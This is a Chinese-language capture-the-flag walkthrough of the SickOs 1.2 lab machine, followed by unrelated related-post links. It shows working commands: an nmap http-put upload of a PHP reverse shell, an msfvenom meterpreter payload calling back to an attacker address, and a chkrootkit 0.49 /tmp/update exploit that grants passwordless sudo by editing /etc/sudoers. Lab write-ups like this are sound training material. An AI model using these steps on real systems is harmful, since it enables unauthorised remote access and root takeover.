SickOs:1.2

提权辅助工具LinEnum下载:https://download.csdn.net/download/weixin_41082546/11609409
提权辅助工具linuxprivchecker.py下载:https://download.csdn.net/download/weixin_41082546/11609428

 
首先获取目标ip地址,并探测端口
netdiscover -i eth0 -r 192.168.88.1/24
访问web,并查看源码,没有什么有用的东西
 
目录发现
 
 
curl -v -X OPTIONS http://192.168.88.201
curl -v -X OPTIONS http://192.168.88.201/test/
/test/ 目录 支持 put 方法,可以 向 test 目录 put 一个 反弹shell。
直接利用kali 自带的 reverse-shell
修改回连 的ip 地址和端口
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit.php',http-put.file='php-reverse-shell.php'
成功上传反弹shell 脚本
开启 本地 侦听
 
反弹 不成功
自己重新生成shell ,再次尝试。
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.174 LPORT=1234 -f raw > exploit3.php
 
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit3.php',http-put.file='exploit3.php'
多次反弹失败,百度一下,是防火墙阻止了非常用端口出来,所以我们的1234,333都弹不回来!!
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit5.php',http-put.file='php-reverse-shell.php'
第五次尝试
这次终于弹回来了!!!web权限。
ls -la /etc/cron.daily
查看计划任务,发现存在chkrootkit ,版本0.49
searchsploit chkrookit 0.49版本的chkrootkit存在本地提权漏洞
chkrootkit 0.49漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。
漏洞利用: 在/tmp目录下新建update文件,做我们想让root帮我们做的事(参考百度)
touch update
chmod +x update
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > update
sudo su root 获得root权限
 
第二种方法,利用我们 msf 进行利用
上传 meterpreter 反弹 shell ,反弹端口 443 ,获得session,
再获得session前提下使用 exploit/unix/local/chkrootkit 模块可以获得ro

靶机-SickOs 1.2 Walkthrough的更多相关文章

  1. 靶机-BTRSys 2.1 Walkthrough

    BTRSys 2.1 https://www.vulnhub.com/entry/btrsys-v21,196/ 参考:https://www.jianshu.com/p/9813095ce04d 提 ...

  2. OSCP Learning Notes - Capstone(4)

    SickOS 1.2 Walkthrough Preparation: Down load the SickOS virtual machines from the following website ...

  3. 靶机-droopyCTF Walkthrough

    droopyCTF https://www.vulnhub.com/?q=droopy&sort=date-des&type=vm CTF镜像合集:https://www.vulnhu ...

  4. 11. CTF综合靶机渗透(四)

    运行环境 Virtualbox (二选一) Vnware Workstation player 通关提示 Enumeration is key Try Harder Look in front of ...

  5. AI:WEB:1 Walkthrough

    AI: Web: 1 Vulnhub Walkthrough靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/测试方法:    Nmap网络扫描    浏 ...

  6. Walkthrough: Arranging Controls on Windows Forms Using Snaplines

    https://msdn.microsoft.com/en-us/library/t5b5kc41(v=vs.110).aspx Spacing and Aligning Controls Using ...

  7. Walkthrough: Creating and Using a Dynamic Link Library (C++)

    Original Link: http://msdn.microsoft.com/zh-cn/library/ms235636.aspx Following content is only used ...

  8. Burp Suite Walkthrough(英文版)

    Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...

  9. Burp Suite Walkthrough

    Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...

随机推荐

  1. How to output the target message in dotnet build command line

    How can I output my target message when I using dotnet build in command line. I use command line to ...

  2. 【u035】奶牛的电信

    Time Limit: 1 second Memory Limit: 128 MB [问题描述] 农夫约翰的奶牛们喜欢通过电邮保持联系,于是她们建立了一个奶牛电脑网络,以便互相交流.这些机器用如下的方 ...

  3. P3521 [POI2011]ROT-Tree Rotations (线段树合并)

    P3521 [POI2011]ROT-Tree Rotations 题意: 给你一颗树,只有叶子节点有权值,你可以交换一个点的左右子树,问你最小的逆序对数 题解: 线段树维护权值个个数即可 然后左右子 ...

  4. POJ2763 Housewife Wind 树链剖分 边权

    POJ2763 Housewife Wind 树链剖分 边权 传送门:http://poj.org/problem?id=2763 题意: n个点的,n-1条边,有边权 修改单边边权 询问 输出 当前 ...

  5. 学习linux命令,看这篇2w多字的linux命令详解

    用心分享,共同成长 没有什么比每天进步一点点更重要了 本文已收录到我的github:https://github.com/midou-tech/articles/tree/master/docs/li ...

  6. 最全最详细的PHP面试题(带有答案)

    这篇文章介绍的内容是关于最全最详细的PHP面试题(带有答案),有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下 相关推荐: 分享一波腾讯PHP面试题 2019年PHP最新面试题(含答案) ...

  7. DOCKER学习_010:Docker的文件系统以及制作镜像

    一 文件系统简介 1.1 Linux文件系统 LInux空间组成分为内核空间和用户空间(使用rootfs) linux文件系统由 bootes和 rootfs组成, bootes主要包含boot1 o ...

  8. `docker数据持久化volume和bind mounts两种方式

    将数据从宿主机到容器的三种方式: ,volumes:docker管理宿主机文件系统的一部分(/var/lib/docker/volumes)保存数据的最佳方式 ,bind mounts 将宿主机上的任 ...

  9. Asp.net Core Session 存储任意对象

    using Microsoft.AspNetCore.Http; using Newtonsoft.Json; public static class SessionExtensions { publ ...

  10. springboot + freemarker 实现计算器

    使用RequestParam("") 接受参数 其后参数有自动类型转换的作用 @RequestParam("firstNumber") double first ...